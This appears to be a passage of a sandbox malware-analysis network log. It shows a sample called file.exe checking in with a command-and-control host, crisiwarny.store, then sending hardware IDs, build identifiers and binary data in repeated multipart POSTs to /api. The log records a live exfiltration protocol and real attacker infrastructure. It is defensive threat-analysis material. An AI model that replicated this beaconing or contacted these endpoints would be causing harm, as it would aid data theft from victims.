2024-10-27 06:59:04 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-27 06:59:05 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2v2pc42qcobkto246chvhamoc5; expires=Thu, 20 Feb 2025 00:45:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Wz0Yr4PDmcYnTWoWGqVwUaToH2yjxlAm0%2FvZA6PqVaXqvzsEV8fsv7I1%2Bh%2BnauFNs7xTYqF%2FYQEjeGmwvSWudC5qxitQz3Zr2XotGVueCFrxGpKOgM5AwV7r20HTiirlPVJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd238a446bc8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1061&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=952&delivery_rate=2627949&cwnd=233&unsent_bytes=0&cid=51e6dc9fc9fc828a&ts=520&x=0"
2024-10-27 06:59:05 UTC	360	IN	Data Raw: 32 64 62 30 0d 0a 78 66 33 39 6f 75 6c 52 66 61 52 65 50 51 50 62 45 42 74 54 6a 55 30 4a 77 55 4a 4d 58 53 79 6b 46 32 61 45 43 78 48 58 64 73 57 2b 33 34 75 41 30 32 56 52 68 69 31 59 49 65 46 6b 61 53 62 6f 59 53 75 67 4a 6d 35 6e 53 73 56 37 46 65 45 6e 4d 36 45 62 35 2f 2b 62 6e 4d 36 61 4e 46 47 47 4f 30 55 68 34 55 74 67 63 65 67 6a 4b 2f 74 67 4b 54 64 4f 78 58 73 45 35 57 42 2b 70 78 71 6d 72 5a 47 61 79 6f 77 79 47 63 55 79 55 47 61 2b 64 58 6f 35 34 79 52 6b 71 53 39 75 63 51 37 42 62 55 53 2b 4b 56 79 79 41 71 53 49 6e 49 37 4a 79 79 78 52 33 33 78 59 62 66 6b 71 4f 54 4c 6f 4c 32 57 6e 4a 69 63 31 52 4d 78 7a 42 65 42 68 59 62 34 51 72 61 32 66 6d 63 75 47 4f 77 33 49 4f 46 64 74 75 48 39 36 63 61 46 76 62 4c 74 67 64 6e 38 64 39 48 59 56 39 Data Ascii: 2db0xf39oulRfaRePQPbEBtTjU0JwUJMXSykF2aECxHXdsW+34uA02VRhi1YIeFkaSboYSugJm5nSsV7FeEnM6Eb5/+bnM6aNFGGO0Uh4UtgcegjK/tgKTdOxXsE5WB+pxqmrZGayowyGcUyUGa+dXo54yRkqS9ucQ7BbUS+KVyyAqSInI7JyyxR33xYbfkqOTLoL2WnJic1RMxzBeBhYb4Qra2fmcuGOw3IOFdtuH96caFvbLtgdn8d9HYV9
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 52 71 76 47 42 79 4f 4f 49 69 61 36 34 71 49 54 78 4f 77 58 38 4f 36 57 4e 33 75 42 6d 68 70 35 2f 66 6a 73 73 30 42 34 5a 6b 48 30 4b 38 59 6e 34 39 2b 57 31 52 34 7a 39 67 4a 67 37 42 65 55 53 2b 4b 58 75 77 46 36 53 73 6b 4a 7a 49 67 43 45 66 31 44 70 53 5a 4b 74 30 66 44 2f 6c 4c 48 6d 70 4c 69 67 38 52 38 31 38 41 65 46 74 4d 2f 74 55 6f 4c 2f 66 78 34 43 71 50 68 54 4b 4e 6b 68 68 2b 57 30 33 4b 4b 38 6f 5a 2b 4e 34 62 6a 74 50 77 6e 51 41 36 47 64 33 75 52 4b 70 71 70 43 5a 79 6f 73 30 46 63 34 30 58 6d 79 79 66 58 6b 30 34 69 74 74 72 79 45 72 66 77 43 47 63 68 79 6d 4d 54 4f 62 45 36 53 31 33 61 72 44 68 54 30 59 30 48 78 41 4c 36 41 79 66 6a 32 76 64 79 75 74 4a 53 45 74 54 39 52 77 43 76 52 6c 64 72 4d 5a 70 4b 6d 66 6d 73 65 47 50 52 6e 42 50 Data Ascii: RqvGByOOIia64qITxOwX8O6WN3uBmhp5/fjss0B4ZkH0K8Yn49+W1R4z9gJg7BeUS+KXuwF6SskJzIgCEf1DpSZKt0fD/lLHmpLig8R818AeFtM/tUoL/fx4CqPhTKNkhh+W03KK8oZ+N4bjtPwnQA6Gd3uRKpqpCZyos0Fc40XmyyfXk04ittryErfwCGchymMTObE6S13arDhT0Y0HxAL6Ayfj2vdyutJSEtT9RwCvRldrMZpKmfmseGPRnBP
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 79 66 6a 32 76 64 79 75 76 4b 53 34 30 52 4d 4a 31 41 2b 74 73 63 4c 49 58 71 71 43 56 6b 63 65 50 50 78 62 4c 4f 6c 39 6d 76 58 64 72 4e 4f 59 6a 5a 2b 4e 75 62 6a 68 57 68 69 31 45 79 57 35 6c 74 6a 75 6b 74 70 62 66 33 38 55 71 58 38 45 77 48 7a 6e 35 64 58 77 35 35 43 6c 6a 6f 7a 49 72 4d 55 58 48 66 77 4c 6e 5a 48 2b 7a 46 4b 61 6e 6d 5a 50 41 6a 44 51 4e 31 44 6c 5a 63 37 4d 79 4e 33 48 6f 4e 79 76 37 59 42 67 76 57 64 64 6a 52 74 4e 71 66 62 73 54 73 65 65 41 30 64 6e 4c 4e 42 4f 47 5a 42 39 71 75 58 35 2b 4f 65 6b 72 59 36 77 76 4a 79 31 50 79 6e 73 57 34 57 6c 36 75 78 75 72 72 70 4b 59 7a 59 41 35 45 73 49 37 58 69 48 33 4d 6e 34 70 72 33 63 72 6c 54 41 6a 4d 32 44 4e 65 51 32 6d 64 6a 32 73 56 4b 43 72 33 38 65 41 6a 7a 38 58 7a 44 4e 57 61 37 Data Ascii: yfj2vdyuvKS40RMJ1A+tscLIXqqCVkcePPxbLOl9mvXdrNOYjZ+NubjhWhi1EyW5ltjuktpbf38UqX8EwHzn5dXw55CljozIrMUXHfwLnZH+zFKanmZPAjDQN1DlZc7MyN3HoNyv7YBgvWddjRtNqfbsTseeA0dnLNBOGZB9quX5+OekrY6wvJy1PynsW4Wl6uxurrpKYzYA5EsI7XiH3Mn4pr3crlTAjM2DNeQ2mdj2sVKCr38eAjz8XzDNWa7
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 36 53 41 72 37 57 41 70 4a 77 36 65 4e 53 76 42 58 44 47 55 4c 75 65 34 30 59 61 41 6a 44 39 66 6e 6e 78 54 59 72 56 36 64 6a 66 6d 49 32 47 71 4b 79 49 30 53 73 70 38 41 65 42 6f 64 72 41 56 6f 36 75 56 6d 63 4f 49 50 42 44 4a 4e 42 38 76 2b 58 56 68 63 62 64 76 54 72 51 72 49 44 6b 4f 32 54 73 64 70 6d 35 2f 39 55 7a 6e 71 35 61 5a 78 6f 34 2f 48 73 41 30 57 6d 6d 39 63 33 38 33 37 43 42 76 70 69 45 68 4f 30 4c 49 66 77 58 6e 5a 58 69 36 48 36 4c 6e 30 64 2f 48 6b 33 4e 48 68 67 31 63 64 36 35 69 64 58 48 77 59 58 4c 6a 4a 79 4a 2f 46 6f 5a 30 46 75 78 6a 66 62 41 62 6f 71 53 51 6d 4d 32 4e 50 78 58 50 4e 46 6c 75 73 47 42 36 50 65 45 6f 5a 61 38 75 49 7a 56 4e 79 7a 56 4b 70 6d 35 72 39 55 7a 6e 69 35 69 53 37 6f 41 2f 47 49 59 6a 45 58 6a 35 64 58 56 Data Ascii: 6SAr7WApJw6eNSvBXDGULue40YaAjD9fnnxTYrV6djfmI2GqKyI0Ssp8AeBodrAVo6uVmcOIPBDJNB8v+XVhcbdvTrQrIDkO2Tsdpm5/9Uznq5aZxo4/HsA0Wmm9c3837CBvpiEhO0LIfwXnZXi6H6Ln0d/Hk3NHhg1cd65idXHwYXLjJyJ/FoZ0FuxjfbAboqSQmM2NPxXPNFlusGB6PeEoZa8uIzVNyzVKpm5r9Uzni5iS7oA/GIYjEXj5dXV
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 2b 4d 57 4b 53 39 65 78 54 63 31 38 47 70 6c 76 68 6d 72 35 34 44 52 32 63 73 30 45 34 5a 6b 48 32 65 32 65 33 6f 2b 37 69 5a 6e 72 69 55 6e 4f 6b 2f 41 63 51 37 73 61 58 57 7a 46 61 4b 74 6e 4a 37 4b 67 6a 51 58 77 54 39 4e 49 66 63 79 66 69 6d 76 64 79 75 4b 4a 7a 77 78 58 6f 5a 71 53 76 38 70 64 4c 6c 55 2f 2b 65 62 6c 63 2b 50 4e 42 50 41 4f 56 6c 73 75 48 31 34 4d 65 41 72 59 4b 6f 6d 4c 7a 4a 4c 79 33 45 57 37 47 4a 38 75 52 32 72 71 74 2f 52 67 49 77 72 58 35 35 38 62 6d 79 33 66 48 34 6e 72 7a 41 6c 75 6d 41 70 4d 77 36 65 4e 51 58 71 5a 6e 43 36 46 36 53 6d 6c 59 33 53 68 7a 6f 58 77 7a 42 55 62 37 39 67 66 7a 37 6d 4c 47 69 71 4a 79 59 7a 52 4d 56 79 52 4b 67 70 64 4b 31 55 2f 2b 65 38 69 4e 43 47 63 77 43 49 4a 52 39 6d 74 54 49 68 63 65 63 69 Data Ascii: +MWKS9exTc18Gplvhmr54DR2cs0E4ZkH2e2e3o+7iZnriUnOk/AcQ7saXWzFaKtnJ7KgjQXwT9NIfcyfimvdyuKJzwxXoZqSv8pdLlU/+eblc+PNBPAOVlsuH14MeArYKomLzJLy3EW7GJ8uR2rqt/RgIwrX558bmy3fH4nrzAlumApMw6eNQXqZnC6F6SmlY3ShzoXwzBUb79gfz7mLGiqJyYzRMVyRKgpdK1U/+e8iNCGcwCIJR9mtTIhceci
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 45 32 52 38 4a 39 42 2b 5a 74 64 37 49 52 70 4b 75 55 6d 4d 4f 45 4e 78 62 49 4e 56 41 68 39 7a 4a 2b 4b 61 39 33 4b 34 49 37 4c 54 4e 44 68 6d 70 4b 2f 79 6c 30 75 56 54 2f 35 35 4f 52 78 59 73 35 47 63 49 35 57 57 75 38 63 6e 49 79 34 43 74 74 70 79 38 75 4e 45 66 48 63 77 48 73 59 6e 57 34 46 36 47 68 33 39 47 41 6a 43 74 66 6e 6e 78 2f 65 72 52 2b 66 6e 48 77 59 58 4c 6a 4a 79 4a 2f 46 6f 5a 2b 43 4f 4a 75 63 37 67 58 72 36 4b 62 6c 63 57 4c 4f 77 33 4f 50 46 68 7a 71 33 4a 77 4e 4f 4d 73 61 36 63 6d 4a 7a 6c 4e 77 6a 56 4b 70 6d 35 72 39 55 7a 6e 69 70 4f 59 36 59 77 6f 58 39 6c 79 52 69 47 2b 66 6a 6c 70 72 79 35 67 71 53 38 6a 50 45 6a 46 66 67 48 73 61 48 53 39 47 62 57 6b 6b 4a 44 45 69 7a 77 5a 77 44 31 51 5a 37 35 37 65 44 6e 6f 62 79 58 6a 4a Data Ascii: E2R8J9B+Ztd7IRpKuUmMOENxbINVAh9zJ+Ka93K4I7LTNDhmpK/yl0uVT/55ORxYs5GcI5WWu8cnIy4Cttpy8uNEfHcwHsYnW4F6Gh39GAjCtfnnx/erR+fnHwYXLjJyJ/FoZ+COJuc7gXr6KblcWLOw3OPFhzq3JwNOMsa6cmJzlNwjVKpm5r9UznipOY6YwoX9lyRiG+fjlpry5gqS8jPEjFfgHsaHS9GbWkkJDEizwZwD1QZ757eDnobyXjJ
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 42 5a 51 50 78 5a 6a 50 37 56 4b 6a 6e 78 36 61 41 67 6a 51 45 31 79 70 53 63 62 34 79 52 6e 2b 76 4e 79 76 37 59 42 73 38 51 4d 68 79 45 76 63 6b 56 4b 4d 65 6f 4c 65 59 69 4d 2f 4c 66 56 2f 41 66 41 63 79 39 7a 4a 39 49 4b 39 33 4f 2f 46 37 65 32 77 5a 6c 69 63 62 71 48 41 7a 6f 31 54 2f 39 64 48 66 30 73 74 72 58 34 45 2f 54 58 4f 2f 63 57 38 79 71 42 46 56 68 44 6f 6a 4f 56 6e 58 53 7a 72 68 63 33 36 7a 41 37 62 72 69 70 7a 4f 68 54 51 4a 68 6e 49 66 62 76 6b 71 51 48 47 6e 62 31 54 74 59 44 5a 2f 46 6f 5a 41 42 2b 68 6e 64 4b 4d 46 36 6f 43 46 6b 73 61 63 49 6c 2b 49 66 46 6b 68 34 53 49 33 63 65 73 2b 4b 2f 74 77 66 47 51 62 6c 53 4a 55 74 48 59 39 72 46 53 78 35 38 66 4e 6a 73 73 68 58 35 35 38 47 47 4b 72 59 48 38 79 2b 53 77 73 6e 52 34 41 4f 45 Data Ascii: BZQPxZjP7VKjnx6aAgjQE1ypScb4yRn+vNyv7YBs8QMhyEvckVKMeoLeYiM/LfV/AfAcy9zJ9IK93O/F7e2wZlicbqHAzo1T/9dHf0strX4E/TXO/cW8yqBFVhDojOVnXSzrhc36zA7bripzOhTQJhnIfbvkqQHGnb1TtYDZ/FoZAB+hndKMF6oCFksacIl+IfFkh4SI3ces+K/twfGQblSJUtHY9rFSx58fNjsshX558GGKrYH8y+SwsnR4AOE
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 36 47 35 6c 70 46 6d 41 71 5a 69 65 31 70 73 6b 45 49 5a 79 48 32 66 35 4b 69 74 2f 72 79 74 36 34 33 68 2b 62 52 57 54 4a 6c 4f 32 4f 32 7a 37 44 65 65 78 33 38 65 53 78 58 4d 4e 68 6d 51 66 4a 72 70 67 61 7a 66 73 4f 57 6a 6b 48 68 41 59 51 4d 46 30 45 76 5a 2b 66 50 6f 36 6b 59 61 68 6f 64 57 49 50 52 48 42 4b 6b 34 68 39 7a 4a 32 63 62 63 57 4b 2b 74 67 45 58 45 4f 33 6a 56 63 70 6c 78 77 75 78 71 67 73 59 37 53 35 34 55 30 48 74 41 73 53 47 37 32 58 45 38 51 72 32 45 72 70 57 42 32 62 51 43 47 63 52 57 6d 4d 53 50 6e 54 2f 4c 30 79 4d 2b 53 6c 48 30 47 68 69 6f 66 4f 65 73 38 4f 53 4f 76 64 79 76 6b 49 7a 77 74 53 4d 56 6a 42 36 46 58 54 5a 49 61 6f 4b 61 4a 6a 38 32 48 45 68 7a 58 4e 6d 46 66 72 48 46 33 50 2b 67 35 65 75 4e 75 62 6a 41 4f 6e 6b 78 Data Ascii: 6G5lpFmAqZie1pskEIZyH2f5Kit/ryt643h+bRWTJlO2O2z7Deex38eSxXMNhmQfJrpgazfsOWjkHhAYQMF0EvZ+fPo6kYahodWIPRHBKk4h9zJ2cbcWK+tgEXEO3jVcplxwuxqgsY7S54U0HtAsSG72XE8Qr2ErpWB2bQCGcRWmMSPnT/L0yM+SlH0GhiofOes8OSOvdyvkIzwtSMVjB6FXTZIaoKaJj82HEhzXNmFfrHF3P+g5euNubjAOnkx
2024-10-27 06:59:05 UTC	1369	IN	Data Raw: 37 49 71 6d 59 71 4e 6d 4e 43 49 63 54 50 42 4d 56 4e 66 68 30 56 6f 4e 76 39 74 54 61 41 32 4c 58 38 41 68 6d 31 45 76 69 6c 65 70 78 4f 33 70 4e 32 7a 78 34 59 2f 58 39 6c 79 52 69 47 76 4d 69 46 69 6f 57 39 35 34 33 68 75 65 45 33 55 5a 77 4c 6c 66 33 44 79 4b 70 6d 4b 6a 5a 6a 51 69 48 45 75 79 7a 68 4a 64 4c 70 69 66 67 2f 52 41 6e 6d 6b 4d 43 31 39 61 2f 77 33 4e 66 42 71 63 37 73 54 35 2b 6e 66 68 34 44 54 63 7a 4c 55 4f 30 39 69 2b 31 64 44 63 39 34 35 61 4b 4d 75 4b 58 39 52 69 47 78 45 38 43 6b 72 35 6c 72 6e 74 64 2f 48 67 4d 77 39 45 73 63 2f 55 57 4b 72 59 48 38 79 2b 53 77 73 6e 52 34 42 4e 45 2f 57 65 42 58 72 62 57 57 4c 4b 6f 43 68 6d 70 6a 2b 74 51 51 4f 77 53 77 64 52 37 70 6b 65 6e 47 68 62 33 50 6a 65 47 34 59 53 4d 4e 79 52 4b 67 70 Data Ascii: 7IqmYqNmNCIcTPBMVNfh0VoNv9tTaA2LX8Ahm1EvilepxO3pN2zx4Y/X9lyRiGvMiFioW9543hueE3UZwLlf3DyKpmKjZjQiHEuyzhJdLpifg/RAnmkMC19a/w3NfBqc7sT5+nfh4DTczLUO09i+1dDc945aKMuKX9RiGxE8Ckr5lrntd/HgMw9Esc/UWKrYH8y+SwsnR4BNE/WeBXrbWWLKoChmpj+tQQOwSwdR7pkenGhb3PjeG4YSMNyRKgp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:06 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: crisiwarny.store
2024-10-27 06:59:06 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 31 44 35 32 44 37 46 31 42 36 32 34 35 45 36 30 30 32 41 37 36 39 42 36 43 42 43 31 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"221D52D7F1B6245E6002A769B6CBC160--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 06:59:07 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cbid538jdadlsurqk5pef7r6ag; expires=Thu, 20 Feb 2025 00:45:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u20YUM876Zky2qXxv4Uy861qX8sY5AXnippa%2F0Jc2tFhbnEOnFz5Ek9krd0NsvQTURtz4hd3ti%2FB1cLFYV8oLZPn2l9Tq1Q4yiOrtMHp9YqOen0hsBmIpOI2h%2Bv1GbXv3SK1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd2e5f4b6ba3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1027&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13804&delivery_rate=2691449&cwnd=247&unsent_bytes=0&cid=ac3fa59e1871b2a0&ts=1045&x=0"
2024-10-27 06:59:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 06:59:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:08 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: crisiwarny.store
2024-10-27 06:59:08 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 31 44 35 32 44 37 46 31 42 36 32 34 35 45 36 30 30 32 41 37 36 39 42 36 43 42 43 31 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"221D52D7F1B6245E6002A769B6CBC160--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 06:59:08 UTC	1010	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j2d012huhaj7i42lvavsdniok4; expires=Thu, 20 Feb 2025 00:45:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dCrb652BxyA8HOxEP3MffXNOSeMGikyFDtK0yVV5jzGXfqzTqiwtbib10pHArtQNQgZH57szi2LnbDzHreVSv0jVcP%2BTHMXuvlixGhgUT0yNjHscws132lOEVA%2B2CbN8XBw%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd39dbbc6b15-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1051&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2837&recv_bytes=16050&delivery_rate=2683966&cwnd=251&unsent_bytes=0&cid=6d954bd61c08fc41&ts=580&x=0"
2024-10-27 06:59:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 06:59:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49714	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:09 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: crisiwarny.store
2024-10-27 06:59:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 31 44 35 32 44 37 46 31 42 36 32 34 35 45 36 30 30 32 41 37 36 39 42 36 43 42 43 31 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"221D52D7F1B6245E6002A769B6CBC160--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 06:59:09 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-27 06:59:10 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jh2t6i0jlfnrs5etjpirplk9o5; expires=Thu, 20 Feb 2025 00:45:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3NMBzkB0UFqbj058qvn%2BFE4Vuf70zLKUSljykDuolBtxG4GlwBoXrFWLKU%2BfeCpi%2Bw54EOZb7Zjd1JBqSVvzACPxXwEf%2FHP5zipeyVl3%2FvSqI1tDD3MGjD0ibqF76%2F7254p4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd42dfd0476e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=979&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=20930&delivery_rate=2875868&cwnd=246&unsent_bytes=0&cid=6a05eda1c1585faf&ts=566&x=0"
2024-10-27 06:59:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 06:59:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49716	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:11 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1223 Host: crisiwarny.store
